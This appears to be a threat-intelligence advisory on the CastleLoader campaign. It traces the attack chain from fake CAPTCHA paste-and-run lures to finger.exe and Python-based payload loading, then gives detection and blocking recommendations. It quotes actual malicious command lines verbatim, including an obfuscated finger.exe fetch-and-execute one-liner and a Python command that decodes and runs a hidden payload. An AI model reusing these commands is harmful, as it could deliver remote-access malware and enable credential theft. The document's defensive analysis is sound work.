Attack Chain

1. Victim accesses a compromised website (e.g., ai-scan[.]digital, bg-transparency[.]online) or typosquatted job platform (e.g., linkedall[.]org, golinked[.]net) distributed via Google Ads.
2. The website presents a fake CAPTCHA verification (e.g., Cloudflare Turnstile), tricking the user into copying malicious commands to their clipboard.
3. The user is lured into pasting and executing the malicious commands in a terminal, typically involving caret-obfuscated commands using finger.exe, such as %COMSPEC% /k s^t^a^r^t "" /min for /f "skip=8 delims=" %h in ('f^^i^^n^^g^^e^^r nrLeDHDESi@cheeshomireciple[.]com') do call %h & exit.
4. finger.exe retrieves additional batch commands from adversary-controlled servers, like captcha-checkpoint[.]top.
5. One batch command downloads portable Python distributions (either CPython or IronPython) disguised as PDF files and extracts them using tar.exe, placing them in a directory like C:\users\<usr>\appdata\local\ironpython.3.4.2\net462\, with the interpreter renamed to a random 12 to 18-digit filename. This is a Bring-Your-Own-Interpreter (BYOI) technique.
6. Another batch command retrieved by finger.exe executes a Base64-encoded, zlib-compressed Python script through the newly deployed Python interpreter. This script, observed with a command line like "C:\Users\<usr>\AppData\Local\python-3.7.7.1-embed-win32\\\\///////\\\\///////\\\\///////python" -c "import sys,subprocess as s,base64 as b,zlib as z;s.Popen([sys.executable,'-c',z.decompress(b.b64decode('eJydk8FKA0EQ...kb8B3z3XZ8=')).decode('utf-32')],creationflags=s.CREATE_NO_WINDOW)", retrieves a triple-encoded shellcode loader from resources like hxxps://mirtona[.]com/4ba0af68-0037-5f6e-afd1-64f89fc0f554/loc12.
7. The decrypted CastleLoader binary is injected into the python.exe process using a shellcode-based loader.
8. The infected python.exe process establishes C2 communication for further configuration, tasking, and delivery of final payloads, including NetSupport Manager, CastleRAT, or other information stealers.

Impact

Successful compromise by CastleLoader leads to the delivery of various payloads, including remote access tools (RATs) like NetSupport Manager and CastleRAT, as well as .NET-based information stealers. This allows adversaries to gain unauthorized remote control over victim endpoints, exfiltrate sensitive data such as credentials, payment card information, keychain details, and cryptocurrency wallets. The use of legitimate remote access tools disguised as malware makes detection challenging, further exacerbating the impact on victim organizations through potential data breaches, financial fraud, and persistent unauthorized access.

Recommendation

• Deploy the Sigma rules in this brief to your SIEM and tune for your environment, specifically focusing on CastleLoader - Suspicious Finger.exe Execution and CastleLoader - Python Interpreter Execution from AppData for initial detection.
• Enable process-creation logging (e.g., via Sysmon) to capture command-line arguments and parent-child process relationships, crucial for detecting finger.exe and python.exe anomalies as described in the attack chain.
• Block the C2 domains listed in the IOC table (mirtona[.]com, captcha-checkpoint[.]top, ai-scan[.]digital, bg-transparency[.]online, linkedall[.]org, golinked[.]net, indeed-jobs[.]net) at the DNS resolver and proxy levels.
• Implement strong egress filtering to restrict outbound connections from user workstations, especially from processes like python.exe, to prevent C2 communication.
• Educate users about the risks of paste-and-run techniques and suspicious CAPTCHA prompts on unexpected websites to prevent initial infection.